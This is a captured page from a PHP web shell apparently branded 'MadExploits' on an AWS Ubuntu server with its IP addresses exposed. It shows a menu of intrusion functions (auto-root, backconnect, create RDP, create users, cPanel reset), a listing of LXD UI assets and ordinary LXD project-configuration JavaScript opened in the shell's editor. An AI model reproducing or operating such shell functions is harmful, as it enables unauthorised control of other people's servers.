Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.145.180.18
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
snap /
lxd /
33085 /
share /
lxd-ui /
assets /
[ HOME SHELL ]
Name
Size
Permission
Action
font
[ DIR ]
drwxr-xr-x
img
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
scripts
[ DIR ]
drwxr-xr-x
AutoExpandingTextArea-BXFyAEiG...
151
B
-rw-r--r--
BaseLayout-CiF2D8RH.js
280
B
-rw-r--r--
BulkDeleteButton-B-fvVwh0.js
1.08
KB
-rw-r--r--
CancelOperationBtn-BW2TAzI_.js
1.08
KB
-rw-r--r--
CertificateAdd-BGVwf-VB.js
2.84
KB
-rw-r--r--
CertificateGenerate-bNGS6BFl.j...
9.87
KB
-rw-r--r--
ClusterGroupForm-BiXmM-NU.js
3.25
KB
-rw-r--r--
ClusterList-CZFDB46f.js
5.17
KB
-rw-r--r--
ClusterMemberSelector-B2lzDpCI...
3.71
KB
-rw-r--r--
ClusterSpecificInput-BdiLVA9B....
1.97
KB
-rw-r--r--
ClusterSpecificSelect-DrKUzNev...
2.2
KB
-rw-r--r--
ConfigFieldDescription-BnRkdbo...
335
B
-rw-r--r--
CreateClusterGroup-C6s3qbZf.js
463
B
-rw-r--r--
CreateInstance-BXX4Xa4W.js
27.97
KB
-rw-r--r--
CreateInstanceFromImageBtn-BiE...
527
B
-rw-r--r--
CreateNetwork-BQw2A27w.js
2.88
KB
-rw-r--r--
CreateNetworkForward-BgZF8duA....
1.71
KB
-rw-r--r--
CreateProfile-CCJYKSCK.js
4.04
KB
-rw-r--r--
CreateProject-DTBqJzUb.js
2.83
KB
-rw-r--r--
CreateStoragePool-CuOutvs3.js
2.46
KB
-rw-r--r--
CreateStorageVolume-B0HvyGnH.j...
2.47
KB
-rw-r--r--
CustomIsoList-CQVv4whx.js
5.48
KB
-rw-r--r--
DeleteStoragePoolBtn-BeXLuEnA....
1.62
KB
-rw-r--r--
DeleteStorageVolumeBtn-DIIVYGa...
1.88
KB
-rw-r--r--
DiskSizeSelector-IT5APek6.js
1010
B
-rw-r--r--
EditClusterGroup-DiNIL0Lx.js
761
B
-rw-r--r--
EditNetworkForward-DtcWepYC.js
1.99
KB
-rw-r--r--
ExpandableList-EDeaeb6c.js
323
B
-rw-r--r--
FormEditButton-Cs2eW7Js.js
278
B
-rw-r--r--
FormFooterLayout-B3kcadYt.js
738
B
-rw-r--r--
FormLink-BaU-zsbe.js
879
B
-rw-r--r--
FormMenuItem-ChXfQsFA.js
2.23
MB
-rw-r--r--
FormMenuItem-DyX1CsEw.css
66.66
KB
-rw-r--r--
GroupOrIdentityChangesTable-DQ...
5.11
KB
-rw-r--r--
GroupSelectionActions-Dq47oQd-...
3.18
KB
-rw-r--r--
HelpLink-4LTOsqZO.js
294
B
-rw-r--r--
ImageList-yKBGTFZU.js
11.7
KB
-rw-r--r--
InstanceDetail-BV9hr65t.js
481.49
KB
-rw-r--r--
InstanceDetail-Beg8tuEN.css
3.88
KB
-rw-r--r--
InstanceLinkChip-DfVC8U01.js
4.24
KB
-rw-r--r--
InstanceList-CTEYE5e7.js
24.67
KB
-rw-r--r--
ItemName-DSOx0T0r.js
185
B
-rw-r--r--
Login-CsUYa7ns.js
1.41
KB
-rw-r--r--
Meter-BsdJ73XW.js
487
B
-rw-r--r--
NetworkDetail-RgSS_6Vw.js
12.8
KB
-rw-r--r--
NetworkForwardForm-C18aehvo.js
6.49
KB
-rw-r--r--
NetworkList-B4gWmGGm.js
6.32
KB
-rw-r--r--
NetworkListTable-Ba2LzF-J.js
3.31
KB
-rw-r--r--
NotificationRow-CotZPNAQ.js
157
B
-rw-r--r--
OperationList-D4--05cO.js
3.35
KB
-rw-r--r--
PageHeader-CExPjRLH.js
549
B
-rw-r--r--
PermissionGroups-CkGxgQmn.js
30.89
KB
-rw-r--r--
PermissionIdentities-DDmb7V-C....
12.93
KB
-rw-r--r--
PermissionIdpGroups-yggiVbcG.j...
13.38
KB
-rw-r--r--
ProfileDetail-CQHhNWwW.js
10.94
KB
-rw-r--r--
ProfileDetailsForm-C-rMcUGO.js
2.45
KB
-rw-r--r--
ProfileInstances-DeravO8Q.js
1.46
KB
-rw-r--r--
ProfileList-C7yC3g6E.js
7.11
KB
-rw-r--r--
ProgressBar-CQ2HKUqQ.js
170
B
-rw-r--r--
ProjectConfiguration-rKP8dZtz....
9.04
KB
-rw-r--r--
ProjectForm-GhClr0iv.js
15.12
KB
-rw-r--r--
ProtectedRoute-DYKGChU3.js
214
B
-rw-r--r--
ProxyDeviceForm-B5UDgi1V.js
38.9
KB
-rw-r--r--
RenameHeader-fmgiouA6.js
13.29
KB
-rw-r--r--
ResourceIcon-DZQOrBLA.js
532
B
-rw-r--r--
ResourceLabel-PzB_6v5p.js
317
B
-rw-r--r--
ResourceLink-CS7mH0C3.js
302
B
-rw-r--r--
ScrollableContainer-MJpEXCww.j...
646
B
-rw-r--r--
ScrollableTable-DWT33Lms.js
561
B
-rw-r--r--
SelectableMainTable-C8l8QdDe.j...
2.21
KB
-rw-r--r--
SelectedTableNotification-2DZb...
974
B
-rw-r--r--
Settings-BYi8qROs.js
9.75
KB
-rw-r--r--
SidePanel-DNeaRMst.js
2.84
KB
-rw-r--r--
SnapshotForm-DF9sGEzn.js
1.49
KB
-rw-r--r--
StoragePoolDetail-DT58PBIr.js
6.45
KB
-rw-r--r--
StoragePoolForm-Z62B6Fuh.js
17.07
KB
-rw-r--r--
StoragePoolSelectTable-CXuxJSN...
1.61
KB
-rw-r--r--
StoragePoolSelector-DEvMjaMu.j...
1.48
KB
-rw-r--r--
StoragePoolSize-DyBNKBKy.js
467
B
-rw-r--r--
StoragePools-DK0Gkjq9.js
3.99
KB
-rw-r--r--
StorageUsedBy-sdKGRlgM.js
2.12
KB
-rw-r--r--
StorageVolumeDetail-fQzbPWNW.j...
24.87
KB
-rw-r--r--
StorageVolumeForm-ZPfwK39D.js
8.42
KB
-rw-r--r--
StorageVolumes-DPotlIN6.js
7.26
KB
-rw-r--r--
StorageVolumesFilter-B7pR3OeF....
1.01
KB
-rw-r--r--
TabLinks-BIG_Rdvk.js
360
B
-rw-r--r--
UploadCustomIso-DG12FhN0.js
2.83
KB
-rw-r--r--
UsedByItem-VHA3kVFG.js
945
B
-rw-r--r--
VolumeAddSnapshotBtn-8Qz9xFE-....
4.87
KB
-rw-r--r--
WarningList-DZNTQSpg.js
1.99
KB
-rw-r--r--
YamlNotification-BnmI52ws.js
634
B
-rw-r--r--
YamlSwitch-BXLuxWUh.js
40.62
KB
-rw-r--r--
certificate-kcThcTS9.js
279.99
KB
-rw-r--r--
clusterGroups-BWQNdGSD.js
3.63
KB
-rw-r--r--
images-Du2fhDUO.js
1.22
KB
-rw-r--r--
index-BeIaaTgz.css
661.94
KB
-rw-r--r--
index-BkTFFYvy.js
690.52
KB
-rw-r--r--
index-DW_MHI2K.js
34.19
KB
-rw-r--r--
index.esm-auJ3G_FM.js
38.36
KB
-rw-r--r--
instanceDelete-Bn3xn_NE.js
12.2
KB
-rw-r--r--
instanceOptions-BuFjjn-P.js
1.19
KB
-rw-r--r--
network-forwards-B-h1Yzp9.js
856
B
-rw-r--r--
operations-DIvBacJG.js
757
B
-rw-r--r--
projects-CvA2zMPN.js
789
B
-rw-r--r--
scroll-DPmbgfny.js
26.97
KB
-rw-r--r--
searchAndFilter-DtC_P-vv.js
361
B
-rw-r--r--
snapshots-CEDJtMaf.js
670
B
-rw-r--r--
storage-volumes-tfXkh9eB.js
2.46
KB
-rw-r--r--
useGroups-CCX3qCzO.js
2.91
KB
-rw-r--r--
useImages-LgCYWVgs.js
1.64
KB
-rw-r--r--
useNetworks-D3nHf8AE.js
3.63
KB
-rw-r--r--
useSmallScreen-BvsjT919.js
169
B
-rw-r--r--
useSortTableData-BoXaK1oA.js
393
B
-rw-r--r--
useVolumes-BvpfNVaA.js
1.27
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ProjectConfiguration-rKP8dZtz.js
import{aM as B,Q as H,b7 as q,d as p,k as v,l as C,r as k,f as x,b8 as V,j as t,y as z,b9 as K,q as F,aD as Q,e as M,n as O,x as U,M as A,c as E,ba as Y,b as J,o as N,u as W,P as Z,B as G,bb as X,C as ee,I as R,H as te,w as se,L as ie}from"./index-BkTFFYvy.js";import{n as ne,d as re,i as ae,c as oe,r as ce,p as le,a as de,b as ue,P as S}from"./ProjectForm-GhClr0iv.js";import{c as D,a as I}from"./index.esm-auJ3G_FM.js";import{g as L,F as me}from"./FormFooterLayout-B3kcadYt.js";import{R as fe,F as ge}from"./RenameHeader-fmgiouA6.js";import{I as _e}from"./ItemName-DSOx0T0r.js";import{u as he}from"./useSmallScreen-BvsjT919.js";import{R as pe}from"./ResourceLabel-PzB_6v5p.js";import{u as P}from"./projects-CvA2zMPN.js";import{H as ye}from"./HelpLink-4LTOsqZO.js";import{R as b}from"./ResourceLink-CS7mH0C3.js";import"./FormMenuItem-ChXfQsFA.js";import"./instanceOptions-BuFjjn-P.js";import"./ConfigFieldDescription-BnRkdboG.js";import"./AutoExpandingTextArea-BXFyAEiG.js";import"./ScrollableTable-DWT33Lms.js";import"./snapshots-CEDJtMaf.js";import"./StoragePoolSelector-DEvMjaMu.js";import"./StoragePoolSize-DyBNKBKy.js";import"./Meter-BsdJ73XW.js";import"./DiskSizeSelector-IT5APek6.js";import"./NotificationRow-CotZPNAQ.js";import"./ScrollableContainer-MJpEXCww.js";import"./ResourceIcon-DZQOrBLA.js";const be=(e,s,n)=>({name:e.name,readOnly:!0,description:e.description,default_instance_storage_pool:s?H(s):"",restricted:e.config.restricted==="true",features_images:e.config["features.images"]==="true",features_profiles:B(e),features_networks:e.config["features.networks"]==="true",features_networks_zones:e.config["features.networks.zones"]==="true",features_storage_buckets:e.config["features.storage.buckets"]==="true",features_storage_volumes:e.config["features.storage.volumes"]==="true",entityType:"project",limits_instances:e.config["limits.instances"]?parseInt(e.config["limits.instances"]):void 0,limits_containers:e.config["limits.containers"]?parseInt(e.config["limits.containers"]):void 0,limits_virtual_machines:e.config["limits.virtual-machines"]?parseInt(e.config["limits.virtual-machines"]):void 0,limits_disk:e.config["limits.disk"],limits_networks:e.config["limits.networks"]?parseInt(e.config["limits.networks"]):void 0,limits_cpu:e.config["limits.cpu"]?parseInt(e.config["limits.cpu"]):void 0,limits_memory:e.config["limits.memory"]?e.config["limits.memory"]:void 0,limits_processes:e.config["limits.processes"]?parseInt(e.config["limits.processes"]):void 0,restricted_cluster_groups:e.config["restricted.cluster.groups"],restricted_cluster_target:e.config["restricted.cluster.target"],restricted_virtual_machines_low_level:e.config["restricted.virtual-machines.lowlevel"],restricted_containers_low_level:e.config["restricted.containers.lowlevel"],restricted_containers_nesting:e.config["restricted.containers.nesting"],restricted_containers_privilege:e.config["restricted.containers.privilege"],restricted_container_interception:e.config["restricted.containers.interception"],restrict_snapshots:e.config["restricted.snapshots"],restricted_idmap_uid:e.config["restricted.idmap.uid"],restricted_idmap_gid:e.config["restricted.idmap.gid"],restricted_devices_disk:e.config["restricted.devices.disk"],restricted_devices_disk_paths:e.config["restricted.devices.disk.paths"],restricted_devices_gpu:e.config["restricted.devices.gpu"],restricted_devices_infiniband:e.config["restricted.devices.infiniband"],restricted_devices_nic:e.config["restricted.devices.nic"],restricted_devices_pci:e.config["restricted.devices.pci"],restricted_devices_unix_block:e.config["restricted.devices.unix-block"],restricted_devices_unix_char:e.config["restricted.devices.unix-char"],restricted_devices_unix_hotplug:e.config["restricted.devices.unix-hotplug"],restricted_devices_usb:e.config["restricted.devices.usb"],restricted_network_access:e.config["restricted.networks.access"],restricted_network_subnets:e.config["restricted.networks.subnets"],restricted_network_uplinks:e.config["restricted.networks.uplinks"],restricted_network_zones:e.config["restricted.networks.zones"],editRestriction:n}),ve=(e,s)=>{const n=q(),a=new Set(["name","description","config"]);return{...de(s),config:{...le(s),...ce(s),...s.restricted?{...oe(s),...ae(s),...re(s),...ne(s)}:{},...L(e.config,n)},...L(e,a)}},ke=e=>{const s={instance:{label:"Instances",link:`/ui/project/${e.name}/instances`},profile:{label:"Profiles",link:`/ui/project/${e.name}/profiles`},image:{label:"Images",link:`/ui/project/${e.name}/images`},volume:{label:"Custom volumes",link:`/ui/project/${e.name}/storage/volumes`}},n=Object.keys(s),a=[];for(const r of n){const l=Q(r,e.used_by);if(l.length>0){const c=s[r].label,u=s[r].link;a.push(t.jsxs("li",{className:"p-list__item is-dark u-no-margin--bottom",children:[t.jsx(M,{to:u,children:c})," (",l.length,")"]},r))}}return t.jsxs(t.Fragment,{children:["Non-empty project cannot be deleted.",t.jsx("p",{className:"u-no-margin--bottom",children:"Project is used by:"}),t.jsx("ul",{className:"p-list u-no-margin--bottom",children:a})]})},xe=({project:e})=>{const s=he(),n=p.useNotify(),a=v(),r=C(),[l,c]=k.useState(!1),u=x(),{canDeleteProject:o}=P(),m=e.name==="default",i=V(e),f=()=>o(e)?m?"The default project cannot be deleted":i?"Delete project":"":"You do not have permission to delete this project",g=()=>{c(!0),K(e).then(()=>{u("/ui/project/default/instances"),a.success(t.jsxs(t.Fragment,{children:["Project ",t.jsx(pe,{bold:!0,type:"project",value:e.name})," ","deleted."]}))}).catch(d=>{c(!1),n.failure("Project deletion failed",d)}).finally(()=>{r.invalidateQueries({queryKey:[F.projects]})})};return t.jsx(p.ConfirmationButton,{onHoverText:f(),className:z("u-no-margin--bottom",{"has-icon":!s}),loading:l,disabled:!o(e)||m||!i,confirmationModalProps:{title:"Confirm delete",confirmButtonLabel:"Delete",onConfirm:g,children:t.jsxs("p",{children:["This will permanently delete project"," ",t.jsx(_e,{item:e,bold:!0}),".",t.jsx("br",{}),"This action cannot be undone, and can result in data loss."]})},shiftClickEnabled:!0,showShiftClickHint:!0,children:t.jsxs(p.Tooltip,{message:!i&&!m?ke(e):"",children:[!s&&t.jsx(p.Icon,{name:"delete"}),t.jsx("span",{children:"Delete project"})]})})},Pe=({project:e})=>{const s=O(),n=U(),a=x(),r=v(),l=k.useState(null),{canEditProject:c}=P(),u=D().shape({name:I().test("deduplicate","A project with this name already exists",async i=>e.name===i||A(i,"",l,"projects")).required("Project name is required")}),o=E({initialValues:{name:e.name,isRenaming:!1},validationSchema:u,onSubmit:i=>{if(e.name===i.name){o.setFieldValue("isRenaming",!1),o.setSubmitting(!1);return}const f=t.jsx(b,{type:"project",value:i.name,to:`/ui/project/${e.name}/configuration`});Y(e.name,i.name).then(g=>{n.set(g.metadata.id,()=>{const d=`/ui/project/${i.name}/configuration`;a(d),r.success(t.jsxs(t.Fragment,{children:["Project ",t.jsx("strong",{children:e.name})," renamed to"," ",t.jsx(b,{type:"project",value:i.name,to:d}),"."]})),o.setFieldValue("isRenaming",!1)},d=>r.failure(`Renaming project ${e.name} failed`,new Error(d),f),()=>{o.setSubmitting(!1)})}).catch(g=>{o.setSubmitting(!1),r.failure(`Renaming project ${e.name} failed`,g,f)})}}),m=()=>{if(!c(e))return"You do not have permission to rename this project";if(e.name==="default")return"Cannot rename the default project"};return t.jsx(fe,{name:e.name,parentItems:[t.jsx(ye,{href:`${s}/reference/projects/`,title:"Learn more about project configuration",children:"Project configuration"},"project-configuration")],renameDisabledReason:m(),controls:t.jsx(xe,{project:e}),isLoaded:!!e,formik:o})},je=({project:e})=>{var w;const s=x(),{isRestricted:n}=J(),a=p.useNotify(),r=v(),l=C(),{section:c}=N(),{hasProjectsNetworksZones:u,hasStorageBuckets:o}=W(),{canEditProject:m}=P(),{data:i}=Z("default",e.name),f=()=>{te("form-contents","p-bottom-controls")};k.useEffect(f,[(w=a.notification)==null?void 0:w.message,c]),G("resize",f);const g=D().shape({name:I().required()}),d=m(e)?void 0:"You do not have permission to edit this project",j=be(e,i,d),_=E({initialValues:j,validationSchema:g,enableReinitialize:!0,onSubmit:h=>{u||(h.features_networks_zones=void 0),o||(h.features_storage_buckets=void 0);const y=ve(e,h);y.etag=e.etag,X(y).then(()=>{r.success(t.jsxs(t.Fragment,{children:["Project"," ",t.jsx(b,{type:"project",value:e.name,to:`/ui/project/${e.name}/instances`})," ","updated."]})),_.setFieldValue("readOnly",!0)}).catch(T=>{a.failure("Project update failed",T)}).finally(()=>{_.setSubmitting(!1),l.invalidateQueries({queryKey:[F.projects]})})}}),$=h=>{const y=`/ui/project/${e.name}/configuration`;s(h===S?y:`${y}/${R(h)}`)};return t.jsxs(ee,{header:t.jsx(Pe,{project:e}),contentClassName:"edit-project",children:[t.jsx(ue,{formik:_,project:e,section:c??R(S),updateSection:$,isEdit:!0}),!n&&t.jsx(me,{children:_.values.readOnly?null:t.jsxs(t.Fragment,{children:[t.jsx(p.Button,{appearance:"base",onClick:async()=>_.setValues(j),children:"Cancel"}),t.jsx(ge,{formik:_,disabled:!_.values.name})]})})]})},Je=()=>{const{project:e}=N();if(!e)return t.jsx(t.Fragment,{children:"Missing project"});const{project:s,isLoading:n}=se();return n?t.jsx(ie,{}):s?t.jsx(je,{project:s},s.name):t.jsx(t.Fragment,{children:"Loading project failed"})};export{Je as default};
Close